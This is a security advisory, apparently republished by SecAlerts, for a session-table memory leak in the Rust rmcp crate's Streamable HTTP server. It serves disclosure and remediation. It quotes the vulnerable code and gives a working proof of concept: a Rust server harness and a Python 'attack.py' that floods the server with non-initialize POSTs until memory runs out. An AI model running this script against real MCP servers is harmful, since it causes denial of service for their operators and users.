GHSA-9pj6-vhgr-3mwh: High severity rust/rmcp vulnerability

Published Sep 16, 2026
·
Updated

Summary

An unauthenticated remote attacker can leak one entry per HTTP request out of the in-memory session table of LocalSessionManager by sending a well-formed JSON-RPC POST that is not an InitializeRequest. The Streamable HTTP server's handlepost allocates the session before it validates the body, then early-returns on the validation failure without calling closesession. The LocalSessionHandle (and the tokio mpsc channel internals it holds) is never released for the remainder of the process's lifetime — turning a ~250-byte request into a permanent ~400–550-byte server-side allocation that scales linearly with request volume and eventually exhausts memory. In the verified reproduction below, a single Python client sustains over 2 000 leak requests per second; that translates to roughly 170 million leaked entries per day, equivalent to ≈75 GB of resident memory just from the session table.

Details

The bug lives in crates/rmcp/src/transport/streamablehttpserver/tower.rs inside StreamableHttpService::handlepost. The relevant slice of 1.7.0 source (lines 1126–1170) is:

rust } else { let (sessionid, transport) = self .sessionmanager .createsession() // (★) .await .maperr(internalerrorresponse("create session"))?; // ...capture init params if a SessionStore is configured... if let ClientJsonRpcMessage::Request(req) = &mut message { let ClientRequest::InitializeRequest(initreq) = &req.request else { return Err(unexpectedmessageresponse("initialize request")); // (A) }; validateheadermatchesinitbody( // (B) &part.headers, initreq.params.protocolversion.asstr(), Some(req.id.clone()), )?; req.request.extensionsmut().insert(part); } else { return Err(unexpectedmessageresponse("initialize request")); // (C) } let service = self .getservice() // (D) .maperr(internalerrorresponse("get service"))?; Self::spawnsessionworker( // (★★) self.sessionmanager.clone(), sessionid.clone(), service, transport, None, ); // ...persist to external store, send response... }

Two facts make this unsafe:

1. (★) inserts a LocalSessionHandle into LocalSessionManager.sessions (a tokio::sync::RwLock<HashMap<SessionId, LocalSessionHandle>>) and spawns a LocalSessionWorker task. 2. (★★) spawnsessionworker is the only code path in the entire transport (besides a client-initiated HTTP DELETE reaching handledelete) that ever invokes self.sessionmanager.closesession(&sessionid).

Therefore the four early-returns (A), (B), (C), and (D) all skip the cleanup. What happens concretely after such an early return:

- The local transport: WorkerTransport<LocalSessionWorker> goes out of scope; its dropguard cancels the worker's CancellationToken. - The worker, which had been awaiting eventrx.recv(), exits within milliseconds via WorkerQuitReason::Cancelled. Its eventrx receiver is dropped. - LocalSessionHandle.eventtx (the Sender half of the same mpsc channel) is still alive because it is owned by the HashMap entry that nothing ever removes. The channel's Inner (sized to channelcapacity = 16 by default) remains pinned in memory.

Because the worker has already exited, the SessionConfig::keepalive and inittimeout cleanup paths cannot run either — they only fire from inside a running worker. The leak is therefore permanent for the lifetime of the server process and grows unbounded with sustained traffic.

The bug is reachable with zero authentication, the default StreamableHttpServerConfig, and the default LocalSessionManager. It is independent of the Host-header DNS-rebinding flaw fixed in 1.4.0 (GHSA-89vp-x53w-74fx / CVE-2026-42559): the attacker sends a legitimate Host: <bound-address> value and is allowed through validatednsrebindingheaders normally.

A secondary side-effect amplifies the impact: every legitimate operation (session lookup, restore, new initialize) takes self.sessions.write().await or .read().await against the same RwLock. As the HashMap grows into the millions of phantom entries, honest clients see growing tail latency from write-lock starvation, before the box runs out of memory.

Proof of concept

The reproduction is fully self-contained — no clone of the rust-sdk repository is required. Create an empty directory and save the three files below into it, then run two commands.

Step 1 — server harness

Cargo.toml (paste verbatim):

toml [package] name = "rmcpleakrepro" version = "0.0.1" edition = "2021" publish = false

[dependencies] rmcp = { version = "1.7.0", default-features = false, features = [ "server", "transport-streamable-http-server", ] } tokio = { version = "1", features = ["macros", "rt-multi-thread", "signal", "sync", "time"] } tokio-util = { version = "0.7" } axum = { version = "0.8", default-features = false, features = ["http1", "tokio"] } anyhow = "1"

[workspace]

src/main.rs (paste verbatim):

rust //! Minimal MCP Streamable HTTP server that prints the size of the //! LocalSessionManager.sessions HashMap once a second so the leak is //! observable from stdout.

use std::sync::Arc;

use rmcp::{ ErrorData, RoleServer, ServerHandler, model::{Implementation, InitializeRequestParams, InitializeResult, ServerCapabilities}, service::RequestContext, transport::{ StreamableHttpServerConfig, StreamableHttpService, streamablehttpserver::session::local::LocalSessionManager, }, };

const BINDADDRESS: &str = "127.0.0.1:8000";

#[derive(Clone, Default)] struct MinimalServer;

impl ServerHandler for MinimalServer { async fn initialize( &self, request: InitializeRequestParams, cx: RequestContext<RoleServer>, ) -> Result<InitializeResult, ErrorData> { Ok(InitializeResult::new(ServerCapabilities::builder().build()) .withserverinfo(Implementation::new("rmcp-leak-repro", "0.0.1"))) } }

#[tokio::main] async fn main() -> anyhow::Result<()> { let ct = tokioutil::sync::CancellationToken::new(); let manager: Arc<LocalSessionManager> = Arc::new(LocalSessionManager::default());

// Reporter — prints sessions.len() every second. { let manager = manager.clone(); let ct = ct.clone(); tokio::spawn(async move { loop { tokio::select! { = ct.cancelled() => break, = tokio::time::sleep(std::time::Duration::fromsecs(1)) => { let n = manager.sessions.read().await.len(); println!("[count] activesessions={n}"); } } } }); }

let service = StreamableHttpService::new( || Ok(MinimalServer::default()), manager.clone(), StreamableHttpServerConfig::default().withcancellationtoken(ct.childtoken()), );

let router = axum::Router::new().nestservice("/mcp", service); let tcplistener = tokio::net::TcpListener::bind(BINDADDRESS).await?; println!("[server] listening on http://{BINDADDRESS}/mcp");

let = axum::serve(tcplistener, router) .withgracefulshutdown(async move { tokio::signal::ctrlc().await.ok(); ct.cancel(); }) .await; Ok(()) }

Start it:

bash cargo run --release

Initial output:

[server] listening on http://127.0.0.1:8000/mcp [count] activesessions=0 [count] activesessions=0 [count] activesessions=0

Step 2 — attacker

attack.py (paste verbatim — Python 3 standard library only, no pip install required):

python import http.client, json, sys, time

HOST, PORT, PATH = "127.0.0.1", 8000, "/mcp"

A CustomRequest -- valid JSON-RPC, valid ClientJsonRpcMessage::Request, but NOT an InitializeRequest. The server's let ... else pattern at tower.rs:1148 rejects it after the session has already been created at tower.rs:1129. body = json.dumps({ "jsonrpc": "2.0", "id": 1, "method": "tools/list", "params": {}, }).encode("ascii")

headers = { "Host": f"{HOST}:{PORT}", # passes allowedhosts "Content-Type": "application/json", "Accept": "application/json, text/event-stream", "Content-Length": str(len(body)), }

n = int(sys.argv[1]) if len(sys.argv) > 1 else 1000 print(f"[client] firing {n} leaking POSTs at http://{HOST}:{PORT}{PATH}") start = time.monotonic() leaked = 0 for i in range(n): conn = http.client.HTTPConnection(HOST, PORT, timeout=5) conn.request("POST", PATH, body=body, headers=headers) resp = conn.getresponse() status = resp.status resp.read() conn.close() if status == 422: leaked += 1 elapsed = time.monotonic() - start print(f"[client] done in {elapsed:.2f}s. {leaked}/{n} requests took the leaking branch (HTTP 422).")

Run it:

bash python3 attack.py 1000

Step 3 — observed evidence

Attacker output (verbatim, measured on Rust 1.92.0 stable, macOS):

[client] firing 1000 leaking POSTs at http://127.0.0.1:8000/mcp [client] done in 0.46s. 1000/1000 requests took the leaking branch (HTTP 422).

Server output during and after the attack:

[count] activesessions=0 [count] activesessions=0 [count] activesessions=0 [count] activesessions=844 [count] activesessions=1000 <-- attack complete, attacker has disconnected [count] activesessions=1000 [count] activesessions=1000 [count] activesessions=1000 [count] activesessions=1000 <-- 20+ seconds later, still 1000 [count] activesessions=1000 [count] activesessions=1000

The behavioural evidence that confirms the vulnerability:

- Every one of the 1 000 requests took the leak branch (HTTP 422 Unprocessable Entity with body Unexpected message, expect initialize request). - A single Python client sustained 1000 / 0.46 ≈ 2 174 leak requests per second. - After the attacker exited, activesessions=1000 never decreased. The session table holds those entries for the rest of the process's lifetime.

<!-- Optional: drop in a terminal screenshot here. Two screenshots (server console / attacker console) or one side-by-side capture are both fine. Filenames can be anything you like; suggested: !server console — activesessions climbs to 1000 and remains !attacker console — 1000/1000 HTTP 422 in 0.46s -->

<img width="3554" height="1468" alt="poc" src="https://github.com/user-attachments/assets/48e51c27-c0b9-4bf9-ab3f-d56193ac6da6" />

Impact

- Attack vector: Network (AV:N). The listener binds a TCP port; the default allowedhosts = ["localhost", "127.0.0.1", "::1"] accepts anything reaching it over the loopback interface. In the dominant deployment model — a Streamable HTTP MCP server embedded into an IDE or local agent — any co-resident process on the host is a candidate attacker. In LAN deployments where the operator widened allowedhosts to a public hostname, the attack is reachable from the network. - Authentication required: None. - User interaction required: None. - Result: Denial of Service. Memory grows linearly with attacker request volume (~400–550 bytes per leaked entry, including the SessionId Arc<str>, the LocalSessionHandle struct, and the half-dropped mpsc channel Inner). At the measured rate of 2 174 leak requests per second from one Python client: - 1 hour: ~7.8 M entries, ≈3.5 GB - 1 day: ~187 M entries, ≈84 GB - 1 week: process is long dead from OOM - Secondary effect: LocalSessionManager.sessions is behind a tokio::sync::RwLock. Every legitimate session operation (hassession, createsession, closesession, restoresession) takes that lock. As the HashMap grows, write-lock contention degrades latency for all clients well before OOM. - Worst case: Server process is OOM-killed and any in-flight sessions are torn down with it. Restart restores service but does not prevent re-attack.

Suggested fix

Two minimally invasive options. Both have been considered against the existing API; the maintainers will know which fits better with the internal contracts.

1. Validate before allocating. Move the ClientJsonRpcMessage::Request(InitializeRequest) discriminant check and the validateheadermatchesinitbody call above the self.sessionmanager.createsession().await line. Reject non-initialize bodies with 422 before any state is created. This removes a class of bugs rather than patching one path. The downside is that validateheadermatchesinitbody currently reads initreq.params.protocolversion, so the InitializeRequest discriminant has to be deconstructed earlier — a small refactor. 2. RAII guard for the session. Wrap the sessionid returned by createsession in a guard whose Drop impl spawns a closesession call. Demote the guard to a no-op only after the handshake has fully succeeded (i.e. at the very end of the happy-path arm, just before the response is returned). This keeps the existing flow but converts every early-return into a cleanup trigger automatically — including future early-returns that reviewers might miss.

A regression test that asserts sessionmanager.sessions.read().await.len() == 0 after sending a non-initialize POST and a header-mismatched initialize POST would catch this and any similar future regressions.

Affected Software

1 affected componentFixes available
rust/rmcp<2.0.0
2.0.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade rust/rmcp to a version that resolves this vulnerability.

    Fixed in 2.0.0
  2. Configuration

    Reject non-initialize POSTs (unexpected message) with HTTP 422 *after* validating JSON-RPC request type and headers, but before allocating/creating a session; specifically move the `ClientJsonRpcMessage::Request(InitializeRequest)` discriminant check and `validate_header_matches_init_body` call above `self.session_manager.create_session().await`, and ensure any early-return that occurs after session creation also calls `self.session_manager.close_session(&session_id)` (fix the leak where a `LocalSessionHandle` inserted into `LocalSessionManager.sessions` is never removed).

    StreamableHttpService::handle_post (crates/rmcp/src/transport/streamable_http_server/tower.rs) Cleanup on early-return for non-InitializeRequest / header-mismatch = Ensure close_session is triggered for early-return paths (A/B/C/D) that currently skip cleanup
  3. Compensating control

    Run a process restart/rollback cycle after deploying the fix because the described leak persists for the lifetime of the server process (after the attacker disconnects, `active_sessions=1000` remains and grows until OOM).

Event History

Sep 16, 2026
Advisory Published
via GitHub·10:13 PM
Data Sourced
via GitHub·10:13 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed to this issue?

Deployments using rmcp's Streamable HTTP server with LocalSessionManager are exposed. The affected request path is StreamableHttpService::handle_post.

2

What does an attacker need to send?

An attacker does not need authentication or user interaction. They need to send well-formed JSON-RPC POST requests that are not InitializeRequest messages.

3

What is the practical impact of repeated requests?

Each triggering request permanently retains one session-table entry and its associated Tokio mpsc channel internals for the lifetime of the process. The reported allocation is roughly 400–550 bytes per request, so memory consumption grows linearly until it can exhaust available memory.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203